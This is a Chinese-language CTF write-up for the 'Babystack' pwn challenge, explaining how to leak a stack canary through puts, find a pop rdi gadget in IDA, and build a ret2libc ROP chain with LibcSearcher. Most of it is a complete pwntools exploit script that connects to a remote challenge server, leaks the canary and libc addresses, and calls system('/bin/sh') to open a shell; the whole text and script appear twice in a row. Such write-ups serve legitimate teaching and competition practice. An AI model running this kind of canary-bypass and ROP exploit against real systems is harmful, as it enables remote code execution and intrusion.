天天看點

pwn1及ROP總結

Babystack 本題,用 checksec 檢查二進制,發現開啟了 CANARY 、 NX 、以及 RELRO 保護, CANARY 是用 來檢測棧溢出的, canary 是一個随機數,存儲在棧裡。程式通過對比棧裡的 canary 值和讀 取到的實際 canary 值進行對比,如果不相等,則抛出異常。是以, 為了繞過 canary 機制, 我們需要先想洩露 canary 的值,然後利用棧溢出,把這個值放到 payload 中對應的位置裡, 這樣,程式發現 canary 的值沒變,我們就成功繞過。 為了洩露 canary 的值,我們的利用一下 puts 函數的特性 , puts 函數會一直輸出某位址的資料 直到遇到 \x00 通過 IDA, 我們發現這裡 CANARY 存于棧底上面一個位置 然後我們檢視 buf 的位置,距離棧底 0x90 ,那麼 buf 距離 canary 的位置為 0x88, 。 于是,我們先構造這樣的 payload ,因為 canary 值開始的地方可能會有 0 資料,是以,我們 使用循環,将 0 覆寫為 a, 一次次的嘗試, 當 puts 輸出的資料長度大于我們發送的資料長度 時,說明 canary 的值已經被洩露成功,我們要立即結束循環,并且記下目前覆寫了 canary 的多少個 0 資料,然後,我們在前面填充這麼多個 \x00 資料,最後截取前 8 位元組資料,就 得到了 canary 代表的字元串 ( 是亂碼 ) 1. #0x88 過後 0x89 開始便是 canary ,但由于 0x89 可能是 0, 為了利用 put 洩露 canary ,我們就 先将這裡覆寫為 aa 2. payload = 'a' *(0x88) 3. 4. c = '' 5. # 覆寫 canary 的前導 0 6. for i in range(0,8): 7. sh.send(payload+ 'a' *i) 8. sh.recvuntil( '>> ' ) 9. sh.sendline( '2' ) 10. sh.recv(0x88+i) 11. c = sh.recvuntil( '\n' ).split( '\n' )[0] 12. # print c 13. l = len(c) 14. if l > 4: # 長度大于我們發送的字元串長度,說明資料已經暴露出來了 15. break ; 16. sh.recvuntil( '>> ' ) 17. sh.sendline( '1' ) 18. #print c 19. # 補齊 8 位元組 20. for j in range(0,i): 21. c = '\x00' + c 22. 23. # 取前 8 位元組資料,這才是 canary 24. c = c[0:8] 得到了 canary ,我們就可以進行棧溢出 ROP 操作了 還有一點就是,本題給的 libc 是假的,和伺服器上的不一緻,是以我們使用 libcSearcher , 而不使用這個庫。 X64 傳參的方式 當參數少于 7 個時, 參數從左到右放入寄存器 : rdi, rsi, rdx, rcx, r8, r9 是以,為了将資料放入 rdi 寄存器,我們需要找到一條 pop rdi 的指令,我們不能把指令寫在 棧裡,因為開啟了棧不可執行保護。我們發現了,在 IDA 中搜尋 pop ,我們發現了這裡可以 被我們利用 我們選擇 pop r15 ,選擇 undefine 然後選擇下面的兩位元組資料,選擇 Code 這樣, 就出現了 pop rdi 指令 , 這是一種巧妙的方法,類似的,我們可以對 r14,r13 操作,獲 得其他相關指令,它的位址為 0x400A93 ,并且過後還有一個 retn ,我們完全可以把這裡看 成是一個函數的開始 我們最終的腳本 1. #coding:utf8 2. # 本題給的 libc 是假的,是以我們使用 LibcSearcher 3. from pwn import * 4. from LibcSearcher import * 5. 6. #context.terminal = ["deepin-terminal", "-x", "sh", "-c"] 7. #context.log_level='debug' 8. 9. #sh = process('./babystack') 10. sh = remote( '111.198.29.45' ,39287) 11. sh.recvuntil( '>> ' ) 12. 13. sh.sendline( '1' ) 14. 15. #0x88 過後 0x89 開始便是 canary ,但由于 0x89 可能是 0, 為了利用 put 洩露 canary ,我們就 先将這裡覆寫為 aa 16. payload = 'a' *(0x88) 17. 18. c = '' 19. # 覆寫 canary 的前導 0 20. for i in range(0,8): 21. sh.send(payload+ 'a' *i) 22. sh.recvuntil( '>> ' ) 23. sh.sendline( '2' ) 24. sh.recv(0x88+i) 25. c = sh.recvuntil( '\n' ).split( '\n' )[0] 26. # print c 27. l = len(c) 28. if l > 4: # 長度大于我們發送的字元串長度,說明資料已經暴露出來了 29. break ; 30. sh.recvuntil( '>> ' ) 31. sh.sendline( '1' ) 32. 33. #print c 34. # 補齊 8 位元組 35. for j in range(0,i): 36. c = '\x00' + c 37. 38. # 取前 8 位元組資料,這才是 canary 39. c = c[0:8] 40. 41. #print c 42. canary = u64(c) 43. 44. print 'canary=' ,hex(canary) 45. mainaddr = 0x400908 46. elf = ELF( './babystack' ) 47. 48. # 經過驗證,我們盡量暴露那些程式中使用的函數 , 假如我們改成 write 函數,發現不能 getshell 49. put_got = elf.got[ 'puts' ] 50. put_plt = elf.sym[ 'puts' ] 51. #pop edi 指令所在的位址 52. #64 位函數參數傳遞方式 , 當參數少于 7 個時, 參數從左到右放入寄存 器 : rdi, rsi, rdx, rcx, r8, r9 53. popedi = 0x400A93 54. 55. popesi = 0x400a91 56. 57. # 暴露了 canary ,接下來,我們就可以利用棧溢出了 , 函數重新傳回到 main 58. payload = 'a' *0x88 + p64(canary) + 'a' *8 + p64(popedi) + p64(put_got) + p64( put_plt) + p64(mainaddr) 59. 60. sh.recvuntil( '>> ' ) 61. sh.sendline( '1' ) 62. sh.send(payload) 63. 64. sh.recvuntil( '>> ' ) 65. sh.sendline( '3' ) 66. 67. # 洩露 puts 的加載位址 68. puts_addr = u64( (sh.recvuntil( '\n' ).split( '\n' )[0].ljust(8, '\x00' )) ) 69. 70. libc = LibcSearcher( 'puts' ,puts_addr) 71. 72. # 擷取 libc 加載基位址 73. libc_base = puts_addr - libc.dump( 'puts' ) 74. # 擷取 system 加載位址 75. system_addr = libc_base + libc.dump( 'system' ) 76. # 擷取 binsh 字元串 77. binsh_addr = libc_base + libc.dump( 'str_bin_sh' ) 78. 79. print 'system() addr=' ,hex(system_addr) 80. print 'binsh addr=' ,hex(binsh_addr) 81. 82. #getshell 83. payload = 'a' *0x88 + p64(canary) + 'a' *8 + p64(popedi) + p64(binsh_addr) + p 64(system_addr) 84. sh.recvuntil( '>> ' ) 85. sh.sendline( '1' ) 86. sh.send(payload) 87. 88. # 執行 getshell 89. sh.recvuntil( '>> ' ) 90. sh.sendline( '3' ) 91. 92. sh.interactive() Babystack 本題,用 checksec 檢查二進制,發現開啟了 CANARY 、 NX 、以及 RELRO 保護, CANARY 是用 來檢測棧溢出的, canary 是一個随機數,存儲在棧裡。程式通過對比棧裡的 canary 值和讀 取到的實際 canary 值進行對比,如果不相等,則抛出異常。是以, 為了繞過 canary 機制, 我們需要先想洩露 canary 的值,然後利用棧溢出,把這個值放到 payload 中對應的位置裡, 這樣,程式發現 canary 的值沒變,我們就成功繞過。 為了洩露 canary 的值,我們的利用一下 puts 函數的特性 , puts 函數會一直輸出某位址的資料 直到遇到 \x00 通過 IDA, 我們發現這裡 CANARY 存于棧底上面一個位置 然後我們檢視 buf 的位置,距離棧底 0x90 ,那麼 buf 距離 canary 的位置為 0x88, 。 于是,我們先構造這樣的 payload ,因為 canary 值開始的地方可能會有 0 資料,是以,我們 使用循環,将 0 覆寫為 a, 一次次的嘗試, 當 puts 輸出的資料長度大于我們發送的資料長度 時,說明 canary 的值已經被洩露成功,我們要立即結束循環,并且記下目前覆寫了 canary 的多少個 0 資料,然後,我們在前面填充這麼多個 \x00 資料,最後截取前 8 位元組資料,就 得到了 canary 代表的字元串 ( 是亂碼 ) 1. #0x88 過後 0x89 開始便是 canary ,但由于 0x89 可能是 0, 為了利用 put 洩露 canary ,我們就 先将這裡覆寫為 aa 2. payload = 'a' *(0x88) 3. 4. c = '' 5. # 覆寫 canary 的前導 0 6. for i in range(0,8): 7. sh.send(payload+ 'a' *i) 8. sh.recvuntil( '>> ' ) 9. sh.sendline( '2' ) 10. sh.recv(0x88+i) 11. c = sh.recvuntil( '\n' ).split( '\n' )[0] 12. # print c 13. l = len(c) 14. if l > 4: # 長度大于我們發送的字元串長度,說明資料已經暴露出來了 15. break ; 16. sh.recvuntil( '>> ' ) 17. sh.sendline( '1' ) 18. #print c 19. # 補齊 8 位元組 20. for j in range(0,i): 21. c = '\x00' + c 22. 23. # 取前 8 位元組資料,這才是 canary 24. c = c[0:8] 得到了 canary ,我們就可以進行棧溢出 ROP 操作了 還有一點就是,本題給的 libc 是假的,和伺服器上的不一緻,是以我們使用 libcSearcher , 而不使用這個庫。 X64 傳參的方式 當參數少于 7 個時, 參數從左到右放入寄存器 : rdi, rsi, rdx, rcx, r8, r9 是以,為了将資料放入 rdi 寄存器,我們需要找到一條 pop rdi 的指令,我們不能把指令寫在 棧裡,因為開啟了棧不可執行保護。我們發現了,在 IDA 中搜尋 pop ,我們發現了這裡可以 被我們利用 我們選擇 pop r15 ,選擇 undefine 然後選擇下面的兩位元組資料,選擇 Code 這樣, 就出現了 pop rdi 指令 , 這是一種巧妙的方法,類似的,我們可以對 r14,r13 操作,獲 得其他相關指令,它的位址為 0x400A93 ,并且過後還有一個 retn ,我們完全可以把這裡看 成是一個函數的開始 我們最終的腳本 1. #coding:utf8 2. # 本題給的 libc 是假的,是以我們使用 LibcSearcher 3. from pwn import * 4. from LibcSearcher import * 5. 6. #context.terminal = ["deepin-terminal", "-x", "sh", "-c"] 7. #context.log_level='debug' 8. 9. #sh = process('./babystack') 10. sh = remote( '111.198.29.45' ,39287) 11. sh.recvuntil( '>> ' ) 12. 13. sh.sendline( '1' ) 14. 15. #0x88 過後 0x89 開始便是 canary ,但由于 0x89 可能是 0, 為了利用 put 洩露 canary ,我們就 先将這裡覆寫為 aa 16. payload = 'a' *(0x88) 17. 18. c = '' 19. # 覆寫 canary 的前導 0 20. for i in range(0,8): 21. sh.send(payload+ 'a' *i) 22. sh.recvuntil( '>> ' ) 23. sh.sendline( '2' ) 24. sh.recv(0x88+i) 25. c = sh.recvuntil( '\n' ).split( '\n' )[0] 26. # print c 27. l = len(c) 28. if l > 4: # 長度大于我們發送的字元串長度,說明資料已經暴露出來了 29. break ; 30. sh.recvuntil( '>> ' ) 31. sh.sendline( '1' ) 32. 33. #print c 34. # 補齊 8 位元組 35. for j in range(0,i): 36. c = '\x00' + c 37. 38. # 取前 8 位元組資料,這才是 canary 39. c = c[0:8] 40. 41. #print c 42. canary = u64(c) 43. 44. print 'canary=' ,hex(canary) 45. mainaddr = 0x400908 46. elf = ELF( './babystack' ) 47. 48. # 經過驗證,我們盡量暴露那些程式中使用的函數 , 假如我們改成 write 函數,發現不能 getshell 49. put_got = elf.got[ 'puts' ] 50. put_plt = elf.sym[ 'puts' ] 51. #pop edi 指令所在的位址 52. #64 位函數參數傳遞方式 , 當參數少于 7 個時, 參數從左到右放入寄存 器 : rdi, rsi, rdx, rcx, r8, r9 53. popedi = 0x400A93 54. 55. popesi = 0x400a91 56. 57. # 暴露了 canary ,接下來,我們就可以利用棧溢出了 , 函數重新傳回到 main 58. payload = 'a' *0x88 + p64(canary) + 'a' *8 + p64(popedi) + p64(put_got) + p64( put_plt) + p64(mainaddr) 59. 60. sh.recvuntil( '>> ' ) 61. sh.sendline( '1' ) 62. sh.send(payload) 63. 64. sh.recvuntil( '>> ' ) 65. sh.sendline( '3' ) 66. 67. # 洩露 puts 的加載位址 68. puts_addr = u64( (sh.recvuntil( '\n' ).split( '\n' )[0].ljust(8, '\x00' )) ) 69. 70. libc = LibcSearcher( 'puts' ,puts_addr) 71. 72. # 擷取 libc 加載基位址 73. libc_base = puts_addr - libc.dump( 'puts' ) 74. # 擷取 system 加載位址 75. system_addr = libc_base + libc.dump( 'system' ) 76. # 擷取 binsh 字元串 77. binsh_addr = libc_base + libc.dump( 'str_bin_sh' ) 78. 79. print 'system() addr=' ,hex(system_addr) 80. print 'binsh addr=' ,hex(binsh_addr) 81. 82. #getshell 83. payload = 'a' *0x88 + p64(canary) + 'a' *8 + p64(popedi) + p64(binsh_addr) + p 64(system_addr) 84. sh.recvuntil( '>> ' ) 85. sh.sendline( '1' ) 86. sh.send(payload) 87. 88. # 執行 getshell 89. sh.recvuntil( '>> ' ) 90. sh.sendline( '3' ) 91. 92. sh.interactive()

PWN